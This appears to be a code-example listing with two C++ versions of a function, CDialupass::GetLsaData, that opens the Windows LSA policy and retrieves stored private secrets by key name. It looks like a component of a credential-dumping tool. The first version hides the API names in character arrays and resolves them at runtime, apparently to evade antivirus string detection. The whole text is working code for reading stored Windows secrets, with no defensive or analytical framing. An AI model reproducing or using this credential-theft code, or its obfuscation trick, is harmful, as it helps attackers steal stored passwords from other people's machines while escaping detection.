Ejemplo n.º 1
0
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
{
	LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
	LSA_HANDLE LsaHandle;
	LSA_UNICODE_STRING LsaKeyName;
	NTSTATUS nts;
	PLSA_UNICODE_STRING OutData;

	ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));

	char HrFvD04[] = {'L','s','a','O','p','e','n','P','o','l','i','c','y','\0'};
	LsaOpenPolicyT pLsaOpenPolicy=(LsaOpenPolicyT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD04);
	nts=pLsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
	if(nts!=0)return NULL;
	AnsiStringToLsaStr(KeyName, &LsaKeyName);

	char HrFvD03[] = {'L','s','a','R','e','t','r','i','e','v','e','P','r','i','v','a','t','e','D','a','t','a','\0'};
	LsaRetrievePrivateDataT pLsaRetrievePrivateData=(LsaRetrievePrivateDataT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD03);
	nts=pLsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
	if(nts!=0)return NULL;

	char HrFvD02[] = {'L','s','a','C','l','o','s','e','\0'};
	LsaCloseT pLsaClose=(LsaCloseT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD02);
	nts=pLsaClose(LsaHandle);
	if(nts!=0)return NULL;
	return OutData;
}
Ejemplo n.º 2
0
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
{
	LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
	LSA_HANDLE LsaHandle;
	LSA_UNICODE_STRING LsaKeyName;
	NTSTATUS nts;
	PLSA_UNICODE_STRING OutData;

	ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
	nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
	if(nts!=0)return NULL;
	AnsiStringToLsaStr(KeyName, &LsaKeyName);
	nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
	if(nts!=0)return NULL;
	nts=LsaClose(LsaHandle);
	if(nts!=0)return NULL;
	return OutData;
}